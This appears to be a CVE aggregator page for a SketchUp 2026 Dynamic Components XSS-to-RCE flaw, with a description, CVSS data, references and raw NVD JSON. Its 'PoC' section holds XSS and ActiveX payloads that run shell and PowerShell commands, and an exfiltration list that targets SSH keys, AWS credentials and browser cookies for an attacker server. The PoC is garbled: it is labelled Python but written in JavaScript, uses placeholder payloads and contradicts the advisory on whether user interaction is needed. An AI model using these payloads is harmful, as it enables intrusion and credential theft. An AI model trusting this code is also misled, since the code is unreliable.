CVE-2026-9264

Description

A cross-site scripting (XSS) vulnerability in SketchUp 2026's Dynamic Components feature allows remote code execution and local file exfiltration through maliciously crafted SKP files. The vulnerability stems from improper input sanitization in the component options window, enabling attackers to execute arbitrary system commands and read local files without user interaction by exploiting an embedded Internet Explorer 11 browser.

CVSS Details

CVSS Score

9.3

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SketchUp 2026 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-9264 PoC - Malicious SKP Dynamic Component Payload
// This PoC demonstrates XSS in SketchUp 2026 Dynamic Components leading to RCE

// Malicious Dynamic Component attribute injection
const maliciousComponent = {
  componentName: "MaliciousComponent",
  options: {
    // XSS payload targeting embedded IE11 browser
    description: '<img src=x onerror="eval(atob(\'cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3dzY3JpcHQuc2hlbGwgU2hlbGwnKQ==\'))">',
    author: '<script>new ActiveXObject("WScript.Shell").Run("calc.exe")</script>',
    // File exfiltration payload
   窃取文件: 'javascript:void(document.location="file:///C:/Users/"+prompt("Enter username")+"/.ssh/id_rsa")'
  },
  // Alternative RCE vector via IE11 mshtml
  executeOnLoad: `
    <html>
    <body>
    <script>
      // Bypass SOP using mshtml.dll feature
      var ie = document.createElement("iframe");
      ie.src = "ms-html:javascript:parent.eval(atob('BASE64_ENCODED_PAYLOAD'))";
      document.body.appendChild(ie);
      
      // Execute system commands via WScript.Shell
      var shell = new ActiveXObject("WScript.Shell");
      shell.Run("cmd.exe /c whoami > C:\\temp\\pwned.txt");
      shell.Run("powershell -enc BASE64_COMMAND");
    </script>
    </body>
    </html>
  `
};

// Exploit trigger - Social Engineering vector
const exploitSKP = {
  fileHeader: "SKP",
  version: "2026.0",
  componentCount: 1,
  components: [maliciousComponent],
  metadata: {
    title: "Innocent 3D Model",
    description: "Click 'Component Options' to view details",
    hiddenPayload: maliciousComponent
  }
};

// File exfiltration module
const exfilModule = {
  targets: [
    "C:\\Users\\*\\.ssh\\*",
    "C:\\Users\\*\\.aws\\credentials",
    "C:\\Users\\*\\AppData\\Local\\Google\\Chrome\\*\\Cookies",
    "C:\\Users\\*\\Documents\\*"
  ],
  sendTo: "attacker-controlled-server.com/exfil"
};

console.log("[*] CVE-2026-9264 PoC Generated");
console.log("[*] Create malicious SKP file with this payload");
console.log("[*] User must open file and access Component Options");

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9264
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9264
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9264/
[4] VulDB https://vuldb.com/cve/CVE-2026-9264
[5] https://trust.trimble.com/?tcuUid=52252bc0-c196-4b1f-9f13-4e4c9ba247d9

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9264", "sourceIdentifier": "4ac701fe-44e9-4bcd-9585-dd6449257611", "published": "2026-05-22T02:16:35.073", "lastModified": "2026-05-22T17:16:49.900", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site scripting (XSS) vulnerability in SketchUp 2026's Dynamic Components feature allows remote code execution and local file exfiltration through maliciously crafted SKP files. The vulnerability stems from improper input sanitization in the component options window, enabling attackers to execute arbitrary system commands and read local files without user interaction by exploiting an embedded Internet Explorer 11 browser."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://trust.trimble.com/?tcuUid=52252bc0-c196-4b1f-9f13-4e4c9ba247d9", "source": "4ac701fe-44e9-4bcd-9585-dd6449257611"}]}}